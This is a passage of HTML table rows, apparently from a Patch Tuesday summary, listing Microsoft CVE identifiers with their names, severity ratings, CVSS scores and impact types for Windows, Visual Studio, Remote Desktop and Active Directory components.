 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
